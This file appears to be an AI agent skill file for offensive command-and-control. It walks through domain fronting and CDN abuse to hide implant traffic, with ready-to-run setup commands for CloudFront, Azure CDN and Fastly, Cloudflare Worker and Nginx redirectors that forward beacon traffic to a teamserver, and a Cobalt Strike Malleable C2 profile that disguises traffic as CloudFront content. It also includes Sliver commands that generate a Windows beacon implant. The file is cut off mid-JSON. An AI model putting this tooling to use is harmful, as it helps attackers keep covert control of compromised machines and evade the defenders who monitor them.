- name
- c2-domain-fronting
- description
- Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"command-and-control","when_to_use":"domain fronting, CDN c2, cloudfront c2, azure cdn, fastly, SNI mismatch, cdn redirector, fronting profile","tags":"c2, domain-fronting, cdn, cloudfront, azure-cdn, fastly, sni, redirector, opsec","mitre_attack":"T1090.004, T1102.002, T1001"}
# Domain Fronting & CDN Abuse for C2
Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., `cdn.microsoft.com`) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.
## Quick Reference
```bash
# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search
# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test
# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
# Cobalt Strike — set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
```
## MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|-----------|----|----------------|
| Proxy: Domain Fronting | T1090.004 | CDN-based SNI/Host header mismatch for C2 |
| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |
| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |
## 1. The Domain Fronting Technique
### How It Works
```
┌─────────┐ TLS SNI: allowed.example.com ┌──────────┐
│ Implant │ ─────────────────────────────────► │ CDN │
│ │ Host: c2.attacker.cloudfront.net │ Edge │
└─────────┘ └────┬─────┘
│ Routes by Host header
▼
┌──────────┐
│ C2 Origin│
│ Server │
└──────────┘
```
**TLS layer (visible to network monitor):**
- SNI = `allowed.example.com` (high-reputation domain on same CDN)
- Certificate = CDN wildcard cert (e.g., `*.cloudfront.net`)
- IP = CDN edge node
**HTTP layer (inside TLS, invisible to monitor):**
- `Host: c2-distribution.cloudfront.net` → CDN routes to operator's origin
**Result:** Blocking the C2 requires blocking the entire CDN.
### Requirements
1. CDN that routes by Host header (not all do — see provider matrix)
2. A legitimate high-reputation domain on the same CDN for the SNI
3. Operator's C2 server registered as a CDN origin/backend
4. The CDN must not enforce SNI == Host (many now do)
## 2. CloudFront Domain Fronting
### Setup
```bash
# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
--origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
--default-root-object index.html \
--query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net
# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. → same CDN, usable as front
# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
https://allowed-domain.com/beacon
# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" — front domain not viable
```
### CloudFront Configuration
```bash
# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
"CallerReference": "c2-$(date +%s)",
"Origins": {
"Items": [{
"Id": "c2-origin",
"DomainName": "<C2_ORIGIN>",
"CustomOriginConfig": {
"HTTPPort": 80,
"HTTPSPort": 443,
"OriginProtocolPolicy": "https-only"
}
}],
"Quantity": 1
},
"DefaultCacheBehavior": {
"TargetOriginId": "c2-origin",
"ViewerProtocolPolicy": "https-only",
"AllowedMethods": {
"Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
"Quantity": 7
},
"ForwardedValues": {
"QueryString": true,
"Cookies": {"Forward": "all"},
"Headers": {"Items": ["*"], "Quantity": 1}
},
"MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
},
"Enabled": true,
"Comment": ""
}
EOF
aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json
```
### Current Status (CloudFront)
> **AWS partially mitigated domain fronting in 2018.** CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However:
> - Fronting within the same distribution (multiple CNAMEs) still works
> - Fronting to distributions without custom domains may work intermittently
> - CloudFront Functions can be used to rewrite headers before origin routing
## 3. Azure CDN Domain Fronting
Azure CDN (via Verizon/Akamai POP) has historically been more permissive with Host header routing.
### Setup
```bash
# 1. Create Azure CDN profile and endpoint
az cdn profile create --name c2-cdn --resource-group <RG> --sku Standard_Verizon
az cdn endpoint create \
--name <C2_ENDPOINT> \
--profile-name c2-cdn \
--resource-group <RG> \
--origin <C2_ORIGIN> \
--origin-host-header <C2_ORIGIN>
# Endpoint: <C2_ENDPOINT>.azureedge.net
# 2. Test fronting with a high-reputation Azure CDN domain
curl -v -H "Host: <C2_ENDPOINT>.azureedge.net" \
https://ajax.aspnetcdn.com/test
# 3. Alternative fronting domains on Azure CDN:
# - ajax.aspnetcdn.com
# - az416426.vo.msecnd.net
# - Various *.azureedge.net endpoints
```
### Azure-Specific Notes
- Azure has been tightening validation since 2021
- `Standard_Microsoft` SKU enforces SNI/Host matching — use `Standard_Verizon`
- Azure Front Door provides similar capabilities with more control
- Test each frontable domain before deployment; availability changes
## 4. Fastly Domain Fronting
Fastly's architecture makes fronting straightforward when a target domain shares the Fastly POP.
### Setup
```bash
# 1. Create Fastly service via API
curl -X POST "https://api.fastly.com/service" \
-H "Fastly-Key: <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"name":"c2-service","type":"vcl"}'
# 2. Add backend (C2 origin)
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/backend" \
-H "Fastly-Key: <API_TOKEN>" \
-d "name=c2-origin&address=<C2_ORIGIN>&port=443&use_ssl=1"
# 3. Add domain
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/domain" \
-H "Fastly-Key: <API_TOKEN>" \
-d "name=c2-front.global.ssl.fastly.net"
# 4. Activate version
curl -X PUT "https://api.fastly.com/service/<SVC_ID>/version/<VER>/activate" \
-H "Fastly-Key: <API_TOKEN>"
# 5. Test
curl -v -H "Host: c2-front.global.ssl.fastly.net" \
https://legitimate-customer.global.ssl.fastly.net/beacon
```
## 5. CDN-Based Redirectors
When pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors.
### Cloudflare Worker Redirector
```javascript
// Cloudflare Worker — proxies C2 traffic to origin
// Deploy on a legitimate-looking domain (e.g., analytics-cdn.example.com)
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request));
});
async function handleRequest(request) {
const C2_ORIGIN = "https://<C2_SERVER>";
const url = new URL(request.url);
// Only proxy specific paths (blend with legitimate 404s on others)
if (!url.pathname.startsWith("/api/v2/")) {
return new Response("Not Found", { status: 404 });
}
// Forward to C2 origin
const c2Url = C2_ORIGIN + url.pathname + url.search;
const modifiedRequest = new Request(c2Url, {
method: request.method,
headers: request.headers,
body: request.body
});
const response = await fetch(modifiedRequest);
// Strip identifying headers from response
const modifiedResponse = new Response(response.body, response);
modifiedResponse.headers.set("Server", "cloudflare");
modifiedResponse.headers.delete("X-Powered-By");
return modifiedResponse;
}
```
### Nginx Redirector (On CDN Origin)
```nginx
# /etc/nginx/sites-available/c2-redirect.conf
# Sits behind CDN; forwards matching requests to teamserver
server {
listen 443 ssl;
server_name <C2_ORIGIN>;
ssl_certificate /etc/letsencrypt/live/<C2_ORIGIN>/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/<C2_ORIGIN>/privkey.pem;
# Proxy Beacon traffic to teamserver
location /s/ref {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_ssl_verify off;
}
location /gp/product {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_ssl_verify off;
}
# Return legitimate content for other paths (categorization)
location / {
root /var/www/html;
index index.html;
}
}
```
## 6. Cobalt Strike Integration
### Malleable C2 Profile for Domain Fronting
```
# /workspace/profiles/fronting.profile
set sample_name "CDN Fronting Profile";
set sleeptime "60000";
set jitter "40";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set host_stage "false";
https-certificate {
# Use the CDN's certificate — no custom cert needed
# The CDN terminates TLS; origin connection is separate
set CN "*.cloudfront.net";
set O "Amazon";
set C "US";
}
http-get {
set uri "/s/ref=nb_sb_noss_2";
client {
header "Accept" "*/*";
header "Accept-Language" "en-US,en;q=0.5";
# This is the critical header — CDN routes by it
header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
metadata {
base64url;
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Server" "CloudFront";
header "X-Cache" "Hit from cloudfront";
output {
netbios;
prepend "<!DOCTYPE html><html><body>";
append "</body></html>";
print;
}
}
}
http-post {
set uri "/api/v2/submit";
client {
header "Content-Type" "application/json";
header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
id {
base64url;
header "X-Request-Id";
}
output {
base64url;
print;
}
}
server {
header "Content-Type" "application/json";
output {
netbios;
prepend "{\"status\":\"ok\",\"payload\":\"";
append "\"}";
print;
}
}
}
```
### Beacon Configuration
```
# In Cobalt Strike listener config:
# HTTPS Host (stager): <FRONTABLE_DOMAIN>
# HTTPS Host (post): <FRONTABLE_DOMAIN>
# HTTPS Port: 443
# Profile: fronting.profile (loaded at teamserver start)
#
# The listener binds on the teamserver; the CDN proxies traffic to it.
# The Beacon connects to <FRONTABLE_DOMAIN>:443 (CDN edge).
# The Host header routes to <C2_DISTRIBUTION>.cloudfront.net -> C2 origin.
```
## 7. Sliver Integration
### Sliver HTTPS with Domain Fronting
```bash
# In Sliver console:
# 1. Start HTTPS listener on C2 origin
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>
# 2. Generate implant that connects to frontable domain
generate beacon --https <FRONTABLE_DOMAIN> --os windows --arch amd64 \
--seconds 60 --jitter 40 --skip-symbols \
--save /workspace/exploit/
# 3. Custom HTTP C2 profile for fronting
# Save as profiles/fronting.json
```
### Sliver HTTP C2 Profile for Fronting
```json
{
"implant_config": {
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"url_parameters": [],
"headers": [
{"name": "Host", "value": "<C2_DISTRIBUTION>.cloudfront.net", "probability": 100},
{"name": "Accept", "value": "text/html", "probability": 100}
]
},
"server_config": {
"headers": [
{"name": "Content-Type", "value": "text/html; charset=utf-8", "probability": 100},
GitHub에서 보기